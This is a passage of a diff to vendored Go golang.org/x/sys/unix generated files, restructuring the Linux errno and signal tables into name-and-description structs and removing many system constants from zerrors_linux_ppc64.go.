-- EFBIG = syscall.Errno(0x1b)
- EHOSTDOWN = syscall.Errno(0x93)
- EHOSTUNREACH = syscall.Errno(0x94)
- EHWPOISON = syscall.Errno(0xa8)
-@@ -1899,11 +511,7 @@ const (
- EILSEQ = syscall.Errno(0x58)
- EINIT = syscall.Errno(0x8d)
- EINPROGRESS = syscall.Errno(0x96)
-- EINTR = syscall.Errno(0x4)
-- EINVAL = syscall.Errno(0x16)
-- EIO = syscall.Errno(0x5)
- EISCONN = syscall.Errno(0x85)
-- EISDIR = syscall.Errno(0x15)
- EISNAM = syscall.Errno(0x8b)
- EKEYEXPIRED = syscall.Errno(0xa2)
- EKEYREJECTED = syscall.Errno(0xa4)
-@@ -1920,8 +528,6 @@ const (
- ELNRNG = syscall.Errno(0x29)
- ELOOP = syscall.Errno(0x5a)
- EMEDIUMTYPE = syscall.Errno(0xa0)
-- EMFILE = syscall.Errno(0x18)
-- EMLINK = syscall.Errno(0x1f)
- EMSGSIZE = syscall.Errno(0x61)
- EMULTIHOP = syscall.Errno(0x4a)
- ENAMETOOLONG = syscall.Errno(0x4e)
-@@ -1929,100 +535,68 @@ const (
- ENETDOWN = syscall.Errno(0x7f)
- ENETRESET = syscall.Errno(0x81)
- ENETUNREACH = syscall.Errno(0x80)
-- ENFILE = syscall.Errno(0x17)
- ENOANO = syscall.Errno(0x35)
- ENOBUFS = syscall.Errno(0x84)
- ENOCSI = syscall.Errno(0x2b)
- ENODATA = syscall.Errno(0x3d)
-- ENODEV = syscall.Errno(0x13)
-- ENOENT = syscall.Errno(0x2)
-- ENOEXEC = syscall.Errno(0x8)
- ENOKEY = syscall.Errno(0xa1)
- ENOLCK = syscall.Errno(0x2e)
- ENOLINK = syscall.Errno(0x43)
- ENOMEDIUM = syscall.Errno(0x9f)
-- ENOMEM = syscall.Errno(0xc)
- ENOMSG = syscall.Errno(0x23)
- ENONET = syscall.Errno(0x40)
- ENOPKG = syscall.Errno(0x41)
- ENOPROTOOPT = syscall.Errno(0x63)
-- ENOSPC = syscall.Errno(0x1c)
- ENOSR = syscall.Errno(0x3f)
- ENOSTR = syscall.Errno(0x3c)
- ENOSYS = syscall.Errno(0x59)
-- ENOTBLK = syscall.Errno(0xf)
- ENOTCONN = syscall.Errno(0x86)
-- ENOTDIR = syscall.Errno(0x14)
- ENOTEMPTY = syscall.Errno(0x5d)
- ENOTNAM = syscall.Errno(0x89)
- ENOTRECOVERABLE = syscall.Errno(0xa6)
- ENOTSOCK = syscall.Errno(0x5f)
- ENOTSUP = syscall.Errno(0x7a)
-- ENOTTY = syscall.Errno(0x19)
- ENOTUNIQ = syscall.Errno(0x50)
-- ENXIO = syscall.Errno(0x6)
- EOPNOTSUPP = syscall.Errno(0x7a)
- EOVERFLOW = syscall.Errno(0x4f)
- EOWNERDEAD = syscall.Errno(0xa5)
-- EPERM = syscall.Errno(0x1)
- EPFNOSUPPORT = syscall.Errno(0x7b)
-- EPIPE = syscall.Errno(0x20)
- EPROTO = syscall.Errno(0x47)
- EPROTONOSUPPORT = syscall.Errno(0x78)
- EPROTOTYPE = syscall.Errno(0x62)
-- ERANGE = syscall.Errno(0x22)
- EREMCHG = syscall.Errno(0x52)
- EREMDEV = syscall.Errno(0x8e)
- EREMOTE = syscall.Errno(0x42)
- EREMOTEIO = syscall.Errno(0x8c)
- ERESTART = syscall.Errno(0x5b)
- ERFKILL = syscall.Errno(0xa7)
-- EROFS = syscall.Errno(0x1e)
- ESHUTDOWN = syscall.Errno(0x8f)
- ESOCKTNOSUPPORT = syscall.Errno(0x79)
-- ESPIPE = syscall.Errno(0x1d)
-- ESRCH = syscall.Errno(0x3)
- ESRMNT = syscall.Errno(0x45)
- ESTALE = syscall.Errno(0x97)
- ESTRPIPE = syscall.Errno(0x5c)
- ETIME = syscall.Errno(0x3e)
- ETIMEDOUT = syscall.Errno(0x91)
- ETOOMANYREFS = syscall.Errno(0x90)
-- ETXTBSY = syscall.Errno(0x1a)
- EUCLEAN = syscall.Errno(0x87)
- EUNATCH = syscall.Errno(0x2a)
- EUSERS = syscall.Errno(0x5e)
-- EWOULDBLOCK = syscall.Errno(0xb)
-- EXDEV = syscall.Errno(0x12)
- EXFULL = syscall.Errno(0x34)
- )
-
- // Signals
- const (
-- SIGABRT = syscall.Signal(0x6)
-- SIGALRM = syscall.Signal(0xe)
- SIGBUS = syscall.Signal(0xa)
- SIGCHLD = syscall.Signal(0x12)
- SIGCLD = syscall.Signal(0x12)
- SIGCONT = syscall.Signal(0x19)
- SIGEMT = syscall.Signal(0x7)
-- SIGFPE = syscall.Signal(0x8)
-- SIGHUP = syscall.Signal(0x1)
-- SIGILL = syscall.Signal(0x4)
-- SIGINT = syscall.Signal(0x2)
- SIGIO = syscall.Signal(0x16)
-- SIGIOT = syscall.Signal(0x6)
-- SIGKILL = syscall.Signal(0x9)
-- SIGPIPE = syscall.Signal(0xd)
- SIGPOLL = syscall.Signal(0x16)
- SIGPROF = syscall.Signal(0x1d)
- SIGPWR = syscall.Signal(0x13)
-- SIGQUIT = syscall.Signal(0x3)
-- SIGSEGV = syscall.Signal(0xb)
- SIGSTOP = syscall.Signal(0x17)
- SIGSYS = syscall.Signal(0xc)
-- SIGTERM = syscall.Signal(0xf)
-- SIGTRAP = syscall.Signal(0x5)
- SIGTSTP = syscall.Signal(0x18)
- SIGTTIN = syscall.Signal(0x1a)
- SIGTTOU = syscall.Signal(0x1b)
-@@ -2036,174 +610,182 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "no such device or address",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource temporarily unavailable",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device or resource busy",
-- 17: "file exists",
-- 18: "invalid cross-device link",
-- 19: "no such device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "numerical result out of range",
-- 35: "no message of desired type",
-- 36: "identifier removed",
-- 37: "channel number out of range",
-- 38: "level 2 not synchronized",
-- 39: "level 3 halted",
-- 40: "level 3 reset",
-- 41: "link number out of range",
-- 42: "protocol driver not attached",
-- 43: "no CSI structure available",
-- 44: "level 2 halted",
-- 45: "resource deadlock avoided",
-- 46: "no locks available",
-- 50: "invalid exchange",
-- 51: "invalid request descriptor",
-- 52: "exchange full",
-- 53: "no anode",
-- 54: "invalid request code",
-- 55: "invalid slot",
-- 56: "file locking deadlock error",
-- 59: "bad font file format",
-- 60: "device not a stream",
-- 61: "no data available",
-- 62: "timer expired",
-- 63: "out of streams resources",
-- 64: "machine is not on the network",
-- 65: "package not installed",
-- 66: "object is remote",
-- 67: "link has been severed",
-- 68: "advertise error",
-- 69: "srmount error",
-- 70: "communication error on send",
-- 71: "protocol error",
-- 73: "RFS specific error",
-- 74: "multihop attempted",
-- 77: "bad message",
-- 78: "file name too long",
-- 79: "value too large for defined data type",
-- 80: "name not unique on network",
-- 81: "file descriptor in bad state",
-- 82: "remote address changed",
-- 83: "can not access a needed shared library",
-- 84: "accessing a corrupted shared library",
-- 85: ".lib section in a.out corrupted",
-- 86: "attempting to link in too many shared libraries",
-- 87: "cannot exec a shared library directly",
-- 88: "invalid or incomplete multibyte or wide character",
-- 89: "function not implemented",
-- 90: "too many levels of symbolic links",
-- 91: "interrupted system call should be restarted",
-- 92: "streams pipe error",
-- 93: "directory not empty",
-- 94: "too many users",
-- 95: "socket operation on non-socket",
-- 96: "destination address required",
-- 97: "message too long",
-- 98: "protocol wrong type for socket",
-- 99: "protocol not available",
-- 120: "protocol not supported",
-- 121: "socket type not supported",
-- 122: "operation not supported",
-- 123: "protocol family not supported",
-- 124: "address family not supported by protocol",
-- 125: "address already in use",
-- 126: "cannot assign requested address",
-- 127: "network is down",
-- 128: "network is unreachable",
-- 129: "network dropped connection on reset",
-- 130: "software caused connection abort",
-- 131: "connection reset by peer",
-- 132: "no buffer space available",
-- 133: "transport endpoint is already connected",
-- 134: "transport endpoint is not connected",
-- 135: "structure needs cleaning",
-- 137: "not a XENIX named type file",
-- 138: "no XENIX semaphores available",
-- 139: "is a named type file",
-- 140: "remote I/O error",
-- 141: "unknown error 141",
-- 142: "unknown error 142",
-- 143: "cannot send after transport endpoint shutdown",
-- 144: "too many references: cannot splice",
-- 145: "connection timed out",
-- 146: "connection refused",
-- 147: "host is down",
-- 148: "no route to host",
-- 149: "operation already in progress",
-- 150: "operation now in progress",
-- 151: "stale file handle",
-- 158: "operation canceled",
-- 159: "no medium found",
-- 160: "wrong medium type",
-- 161: "required key not available",
-- 162: "key has expired",
-- 163: "key has been revoked",
-- 164: "key was rejected by service",
-- 165: "owner died",
-- 166: "state not recoverable",
-- 167: "operation not possible due to RF-kill",
-- 168: "memory page has hardware error",
-- 1133: "disk quota exceeded",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EAGAIN", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device or resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "invalid cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "numerical result out of range"},
-+ {35, "ENOMSG", "no message of desired type"},
-+ {36, "EIDRM", "identifier removed"},
-+ {37, "ECHRNG", "channel number out of range"},
-+ {38, "EL2NSYNC", "level 2 not synchronized"},
-+ {39, "EL3HLT", "level 3 halted"},
-+ {40, "EL3RST", "level 3 reset"},
-+ {41, "ELNRNG", "link number out of range"},
-+ {42, "EUNATCH", "protocol driver not attached"},
-+ {43, "ENOCSI", "no CSI structure available"},
-+ {44, "EL2HLT", "level 2 halted"},
-+ {45, "EDEADLK", "resource deadlock avoided"},
-+ {46, "ENOLCK", "no locks available"},
-+ {50, "EBADE", "invalid exchange"},
-+ {51, "EBADR", "invalid request descriptor"},
-+ {52, "EXFULL", "exchange full"},
-+ {53, "ENOANO", "no anode"},
-+ {54, "EBADRQC", "invalid request code"},
-+ {55, "EBADSLT", "invalid slot"},
-+ {56, "EDEADLOCK", "file locking deadlock error"},
-+ {59, "EBFONT", "bad font file format"},
-+ {60, "ENOSTR", "device not a stream"},
-+ {61, "ENODATA", "no data available"},
-+ {62, "ETIME", "timer expired"},
-+ {63, "ENOSR", "out of streams resources"},
-+ {64, "ENONET", "machine is not on the network"},
-+ {65, "ENOPKG", "package not installed"},
-+ {66, "EREMOTE", "object is remote"},
-+ {67, "ENOLINK", "link has been severed"},
-+ {68, "EADV", "advertise error"},
-+ {69, "ESRMNT", "srmount error"},
-+ {70, "ECOMM", "communication error on send"},
-+ {71, "EPROTO", "protocol error"},
-+ {73, "EDOTDOT", "RFS specific error"},
-+ {74, "EMULTIHOP", "multihop attempted"},
-+ {77, "EBADMSG", "bad message"},
-+ {78, "ENAMETOOLONG", "file name too long"},
-+ {79, "EOVERFLOW", "value too large for defined data type"},
-+ {80, "ENOTUNIQ", "name not unique on network"},
-+ {81, "EBADFD", "file descriptor in bad state"},
-+ {82, "EREMCHG", "remote address changed"},
-+ {83, "ELIBACC", "can not access a needed shared library"},
-+ {84, "ELIBBAD", "accessing a corrupted shared library"},
-+ {85, "ELIBSCN", ".lib section in a.out corrupted"},
-+ {86, "ELIBMAX", "attempting to link in too many shared libraries"},
-+ {87, "ELIBEXEC", "cannot exec a shared library directly"},
-+ {88, "EILSEQ", "invalid or incomplete multibyte or wide character"},
-+ {89, "ENOSYS", "function not implemented"},
-+ {90, "ELOOP", "too many levels of symbolic links"},
-+ {91, "ERESTART", "interrupted system call should be restarted"},
-+ {92, "ESTRPIPE", "streams pipe error"},
-+ {93, "ENOTEMPTY", "directory not empty"},
-+ {94, "EUSERS", "too many users"},
-+ {95, "ENOTSOCK", "socket operation on non-socket"},
-+ {96, "EDESTADDRREQ", "destination address required"},
-+ {97, "EMSGSIZE", "message too long"},
-+ {98, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {99, "ENOPROTOOPT", "protocol not available"},
-+ {120, "EPROTONOSUPPORT", "protocol not supported"},
-+ {121, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {122, "ENOTSUP", "operation not supported"},
-+ {123, "EPFNOSUPPORT", "protocol family not supported"},
-+ {124, "EAFNOSUPPORT", "address family not supported by protocol"},
-+ {125, "EADDRINUSE", "address already in use"},
-+ {126, "EADDRNOTAVAIL", "cannot assign requested address"},
-+ {127, "ENETDOWN", "network is down"},
-+ {128, "ENETUNREACH", "network is unreachable"},
-+ {129, "ENETRESET", "network dropped connection on reset"},
-+ {130, "ECONNABORTED", "software caused connection abort"},
-+ {131, "ECONNRESET", "connection reset by peer"},
-+ {132, "ENOBUFS", "no buffer space available"},
-+ {133, "EISCONN", "transport endpoint is already connected"},
-+ {134, "ENOTCONN", "transport endpoint is not connected"},
-+ {135, "EUCLEAN", "structure needs cleaning"},
-+ {137, "ENOTNAM", "not a XENIX named type file"},
-+ {138, "ENAVAIL", "no XENIX semaphores available"},
-+ {139, "EISNAM", "is a named type file"},
-+ {140, "EREMOTEIO", "remote I/O error"},
-+ {141, "EINIT", "unknown error 141"},
-+ {142, "EREMDEV", "unknown error 142"},
-+ {143, "ESHUTDOWN", "cannot send after transport endpoint shutdown"},
-+ {144, "ETOOMANYREFS", "too many references: cannot splice"},
-+ {145, "ETIMEDOUT", "connection timed out"},
-+ {146, "ECONNREFUSED", "connection refused"},
-+ {147, "EHOSTDOWN", "host is down"},
-+ {148, "EHOSTUNREACH", "no route to host"},
-+ {149, "EALREADY", "operation already in progress"},
-+ {150, "EINPROGRESS", "operation now in progress"},
-+ {151, "ESTALE", "stale file handle"},
-+ {158, "ECANCELED", "operation canceled"},
-+ {159, "ENOMEDIUM", "no medium found"},
-+ {160, "EMEDIUMTYPE", "wrong medium type"},
-+ {161, "ENOKEY", "required key not available"},
-+ {162, "EKEYEXPIRED", "key has expired"},
-+ {163, "EKEYREVOKED", "key has been revoked"},
-+ {164, "EKEYREJECTED", "key was rejected by service"},
-+ {165, "EOWNERDEAD", "owner died"},
-+ {166, "ENOTRECOVERABLE", "state not recoverable"},
-+ {167, "ERFKILL", "operation not possible due to RF-kill"},
-+ {168, "EHWPOISON", "memory page has hardware error"},
-+ {1133, "EDQUOT", "disk quota exceeded"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/breakpoint trap",
-- 6: "aborted",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "user defined signal 1",
-- 17: "user defined signal 2",
-- 18: "child exited",
-- 19: "power failure",
-- 20: "window changed",
-- 21: "urgent I/O condition",
-- 22: "I/O possible",
-- 23: "stopped (signal)",
-- 24: "stopped",
-- 25: "continued",
-- 26: "stopped (tty input)",
-- 27: "stopped (tty output)",
-- 28: "virtual timer expired",
-- 29: "profiling timer expired",
-- 30: "CPU time limit exceeded",
-- 31: "file size limit exceeded",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/breakpoint trap"},
-+ {6, "SIGABRT", "aborted"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGUSR1", "user defined signal 1"},
-+ {17, "SIGUSR2", "user defined signal 2"},
-+ {18, "SIGCHLD", "child exited"},
-+ {19, "SIGPWR", "power failure"},
-+ {20, "SIGWINCH", "window changed"},
-+ {21, "SIGURG", "urgent I/O condition"},
-+ {22, "SIGIO", "I/O possible"},
-+ {23, "SIGSTOP", "stopped (signal)"},
-+ {24, "SIGTSTP", "stopped"},
-+ {25, "SIGCONT", "continued"},
-+ {26, "SIGTTIN", "stopped (tty input)"},
-+ {27, "SIGTTOU", "stopped (tty output)"},
-+ {28, "SIGVTALRM", "virtual timer expired"},
-+ {29, "SIGPROF", "profiling timer expired"},
-+ {30, "SIGXCPU", "CPU time limit exceeded"},
-+ {31, "SIGXFSZ", "file size limit exceeded"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64.go
-index 6772a59b..51858667 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64.go
-@@ -3,7 +3,7 @@
-
- // +build ppc64,linux
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go
-
- package unix
-@@ -11,1930 +11,549 @@ package unix
- import "syscall"
-
- const (
-- AF_ALG = 0x26
-- AF_APPLETALK = 0x5
-- AF_ASH = 0x12
-- AF_ATMPVC = 0x8
-- AF_ATMSVC = 0x14
-- AF_AX25 = 0x3
-- AF_BLUETOOTH = 0x1f
-- AF_BRIDGE = 0x7
-- AF_CAIF = 0x25
-- AF_CAN = 0x1d
-- AF_DECnet = 0xc
-- AF_ECONET = 0x13
-- AF_FILE = 0x1
-- AF_IB = 0x1b
-- AF_IEEE802154 = 0x24
-- AF_INET = 0x2
-- AF_INET6 = 0xa
-- AF_IPX = 0x4
-- AF_IRDA = 0x17
-- AF_ISDN = 0x22
-- AF_IUCV = 0x20
-- AF_KCM = 0x29
-- AF_KEY = 0xf
-- AF_LLC = 0x1a
-- AF_LOCAL = 0x1
-- AF_MAX = 0x2b
-- AF_MPLS = 0x1c
-- AF_NETBEUI = 0xd
-- AF_NETLINK = 0x10
-- AF_NETROM = 0x6
-- AF_NFC = 0x27
-- AF_PACKET = 0x11
-- AF_PHONET = 0x23
-- AF_PPPOX = 0x18
-- AF_QIPCRTR = 0x2a
-- AF_RDS = 0x15
-- AF_ROSE = 0xb
-- AF_ROUTE = 0x10
-- AF_RXRPC = 0x21
-- AF_SECURITY = 0xe
-- AF_SNA = 0x16
-- AF_TIPC = 0x1e
-- AF_UNIX = 0x1
-- AF_UNSPEC = 0x0
-- AF_VSOCK = 0x28
-- AF_WANPIPE = 0x19
-- AF_X25 = 0x9
-- ALG_OP_DECRYPT = 0x0
-- ALG_OP_ENCRYPT = 0x1
-- ALG_SET_AEAD_ASSOCLEN = 0x4
-- ALG_SET_AEAD_AUTHSIZE = 0x5
-- ALG_SET_IV = 0x2
-- ALG_SET_KEY = 0x1
-- ALG_SET_OP = 0x3
-- ARPHRD_6LOWPAN = 0x339
-- ARPHRD_ADAPT = 0x108
-- ARPHRD_APPLETLK = 0x8
-- ARPHRD_ARCNET = 0x7
-- ARPHRD_ASH = 0x30d
-- ARPHRD_ATM = 0x13
-- ARPHRD_AX25 = 0x3
-- ARPHRD_BIF = 0x307
-- ARPHRD_CAIF = 0x336
-- ARPHRD_CAN = 0x118
-- ARPHRD_CHAOS = 0x5
-- ARPHRD_CISCO = 0x201
-- ARPHRD_CSLIP = 0x101
-- ARPHRD_CSLIP6 = 0x103
-- ARPHRD_DDCMP = 0x205
-- ARPHRD_DLCI = 0xf
-- ARPHRD_ECONET = 0x30e
-- ARPHRD_EETHER = 0x2
-- ARPHRD_ETHER = 0x1
-- ARPHRD_EUI64 = 0x1b
-- ARPHRD_FCAL = 0x311
-- ARPHRD_FCFABRIC = 0x313
-- ARPHRD_FCPL = 0x312
-- ARPHRD_FCPP = 0x310
-- ARPHRD_FDDI = 0x306
-- ARPHRD_FRAD = 0x302
-- ARPHRD_HDLC = 0x201
-- ARPHRD_HIPPI = 0x30c
-- ARPHRD_HWX25 = 0x110
-- ARPHRD_IEEE1394 = 0x18
-- ARPHRD_IEEE802 = 0x6
-- ARPHRD_IEEE80211 = 0x321
-- ARPHRD_IEEE80211_PRISM = 0x322
-- ARPHRD_IEEE80211_RADIOTAP = 0x323
-- ARPHRD_IEEE802154 = 0x324
-- ARPHRD_IEEE802154_MONITOR = 0x325
-- ARPHRD_IEEE802_TR = 0x320
-- ARPHRD_INFINIBAND = 0x20
-- ARPHRD_IP6GRE = 0x337
-- ARPHRD_IPDDP = 0x309
-- ARPHRD_IPGRE = 0x30a
-- ARPHRD_IRDA = 0x30f
-- ARPHRD_LAPB = 0x204
-- ARPHRD_LOCALTLK = 0x305
-- ARPHRD_LOOPBACK = 0x304
-- ARPHRD_METRICOM = 0x17
-- ARPHRD_NETLINK = 0x338
-- ARPHRD_NETROM = 0x0
-- ARPHRD_NONE = 0xfffe
-- ARPHRD_PHONET = 0x334
-- ARPHRD_PHONET_PIPE = 0x335
-- ARPHRD_PIMREG = 0x30b
-- ARPHRD_PPP = 0x200
-- ARPHRD_PRONET = 0x4
-- ARPHRD_RAWHDLC = 0x206
-- ARPHRD_ROSE = 0x10e
-- ARPHRD_RSRVD = 0x104
-- ARPHRD_SIT = 0x308
-- ARPHRD_SKIP = 0x303
-- ARPHRD_SLIP = 0x100
-- ARPHRD_SLIP6 = 0x102
-- ARPHRD_TUNNEL = 0x300
-- ARPHRD_TUNNEL6 = 0x301
-- ARPHRD_VOID = 0xffff
-- ARPHRD_X25 = 0x10f
-- B0 = 0x0
-- B1000000 = 0x17
-- B110 = 0x3
-- B115200 = 0x11
-- B1152000 = 0x18
-- B1200 = 0x9
-- B134 = 0x4
-- B150 = 0x5
-- B1500000 = 0x19
-- B1800 = 0xa
-- B19200 = 0xe
-- B200 = 0x6
-- B2000000 = 0x1a
-- B230400 = 0x12
-- B2400 = 0xb
-- B2500000 = 0x1b
-- B300 = 0x7
-- B3000000 = 0x1c
-- B3500000 = 0x1d
-- B38400 = 0xf
-- B4000000 = 0x1e
-- B460800 = 0x13
-- B4800 = 0xc
-- B50 = 0x1
-- B500000 = 0x14
-- B57600 = 0x10
-- B576000 = 0x15
-- B600 = 0x8
-- B75 = 0x2
-- B921600 = 0x16
-- B9600 = 0xd
-- BLKBSZGET = 0x40081270
-- BLKBSZSET = 0x80081271
-- BLKFLSBUF = 0x20001261
-- BLKFRAGET = 0x20001265
-- BLKFRASET = 0x20001264
-- BLKGETSIZE = 0x20001260
-- BLKGETSIZE64 = 0x40081272
-- BLKPBSZGET = 0x2000127b
-- BLKRAGET = 0x20001263
-- BLKRASET = 0x20001262
-- BLKROGET = 0x2000125e
-- BLKROSET = 0x2000125d
-- BLKRRPART = 0x2000125f
-- BLKSECTGET = 0x20001267
-- BLKSECTSET = 0x20001266
-- BLKSSZGET = 0x20001268
-- BOTHER = 0x1f
-- BPF_A = 0x10
-- BPF_ABS = 0x20
-- BPF_ADD = 0x0
-- BPF_ALU = 0x4
-- BPF_AND = 0x50
-- BPF_B = 0x10
-- BPF_DIV = 0x30
-- BPF_H = 0x8
-- BPF_IMM = 0x0
-- BPF_IND = 0x40
-- BPF_JA = 0x0
-- BPF_JEQ = 0x10
-- BPF_JGE = 0x30
-- BPF_JGT = 0x20
-- BPF_JMP = 0x5
-- BPF_JSET = 0x40
-- BPF_K = 0x0
-- BPF_LD = 0x0
-- BPF_LDX = 0x1
-- BPF_LEN = 0x80
-- BPF_LL_OFF = -0x200000
-- BPF_LSH = 0x60
-- BPF_MAJOR_VERSION = 0x1
-- BPF_MAXINSNS = 0x1000
-- BPF_MEM = 0x60
-- BPF_MEMWORDS = 0x10
-- BPF_MINOR_VERSION = 0x1
-- BPF_MISC = 0x7
-- BPF_MOD = 0x90
-- BPF_MSH = 0xa0
-- BPF_MUL = 0x20
-- BPF_NEG = 0x80
-- BPF_NET_OFF = -0x100000
-- BPF_OR = 0x40
-- BPF_RET = 0x6
-- BPF_RSH = 0x70
-- BPF_ST = 0x2
-- BPF_STX = 0x3
-- BPF_SUB = 0x10
-- BPF_TAX = 0x0
-- BPF_TXA = 0x80
-- BPF_W = 0x0
-- BPF_X = 0x8
-- BPF_XOR = 0xa0
-- BRKINT = 0x2
-- BS0 = 0x0
-- BS1 = 0x8000
-- BSDLY = 0x8000
-- CAN_BCM = 0x2
-- CAN_EFF_FLAG = 0x80000000
-- CAN_EFF_ID_BITS = 0x1d
-- CAN_EFF_MASK = 0x1fffffff
-- CAN_ERR_FLAG = 0x20000000
-- CAN_ERR_MASK = 0x1fffffff
-- CAN_INV_FILTER = 0x20000000
-- CAN_ISOTP = 0x6
-- CAN_MAX_DLC = 0x8
-- CAN_MAX_DLEN = 0x8
-- CAN_MCNET = 0x5
-- CAN_MTU = 0x10
-- CAN_NPROTO = 0x7
-- CAN_RAW = 0x1
-- CAN_RAW_FILTER_MAX = 0x200
-- CAN_RTR_FLAG = 0x40000000
-- CAN_SFF_ID_BITS = 0xb
-- CAN_SFF_MASK = 0x7ff
-- CAN_TP16 = 0x3
-- CAN_TP20 = 0x4
-- CBAUD = 0xff
-- CBAUDEX = 0x0
-- CFLUSH = 0xf
-- CIBAUD = 0xff0000
-- CLOCAL = 0x8000
-- CLOCK_BOOTTIME = 0x7
-- CLOCK_BOOTTIME_ALARM = 0x9
-- CLOCK_DEFAULT = 0x0
-- CLOCK_EXT = 0x1
-- CLOCK_INT = 0x2
-- CLOCK_MONOTONIC = 0x1
-- CLOCK_MONOTONIC_COARSE = 0x6
-- CLOCK_MONOTONIC_RAW = 0x4
-- CLOCK_PROCESS_CPUTIME_ID = 0x2
-- CLOCK_REALTIME = 0x0
-- CLOCK_REALTIME_ALARM = 0x8
-- CLOCK_REALTIME_COARSE = 0x5
-- CLOCK_TAI = 0xb
-- CLOCK_THREAD_CPUTIME_ID = 0x3
-- CLOCK_TXFROMRX = 0x4
-- CLOCK_TXINT = 0x3
-- CLONE_CHILD_CLEARTID = 0x200000
-- CLONE_CHILD_SETTID = 0x1000000
-- CLONE_DETACHED = 0x400000
-- CLONE_FILES = 0x400
-- CLONE_FS = 0x200
-- CLONE_IO = 0x80000000
-- CLONE_NEWCGROUP = 0x2000000
-- CLONE_NEWIPC = 0x8000000
-- CLONE_NEWNET = 0x40000000
-- CLONE_NEWNS = 0x20000
-- CLONE_NEWPID = 0x20000000
-- CLONE_NEWUSER = 0x10000000
-- CLONE_NEWUTS = 0x4000000
-- CLONE_PARENT = 0x8000
-- CLONE_PARENT_SETTID = 0x100000
-- CLONE_PTRACE = 0x2000
-- CLONE_SETTLS = 0x80000
-- CLONE_SIGHAND = 0x800
-- CLONE_SYSVSEM = 0x40000
-- CLONE_THREAD = 0x10000
-- CLONE_UNTRACED = 0x800000
-- CLONE_VFORK = 0x4000
-- CLONE_VM = 0x100
-- CMSPAR = 0x40000000
-- CR0 = 0x0
-- CR1 = 0x1000
-- CR2 = 0x2000
-- CR3 = 0x3000
-- CRDLY = 0x3000
-- CREAD = 0x800
-- CRTSCTS = 0x80000000
-- CS5 = 0x0
-- CS6 = 0x100
-- CS7 = 0x200
-- CS8 = 0x300
-- CSIGNAL = 0xff
-- CSIZE = 0x300
-- CSTART = 0x11
-- CSTATUS = 0x0
-- CSTOP = 0x13
-- CSTOPB = 0x400
-- CSUSP = 0x1a
-- DT_BLK = 0x6
-- DT_CHR = 0x2
-- DT_DIR = 0x4
-- DT_FIFO = 0x1
-- DT_LNK = 0xa
-- DT_REG = 0x8
-- DT_SOCK = 0xc
-- DT_UNKNOWN = 0x0
-- DT_WHT = 0xe
-- ECHO = 0x8
-- ECHOCTL = 0x40
-- ECHOE = 0x2
-- ECHOK = 0x4
-- ECHOKE = 0x1
-- ECHONL = 0x10
-- ECHOPRT = 0x20
-- EFD_CLOEXEC = 0x80000
-- EFD_NONBLOCK = 0x800
-- EFD_SEMAPHORE = 0x1
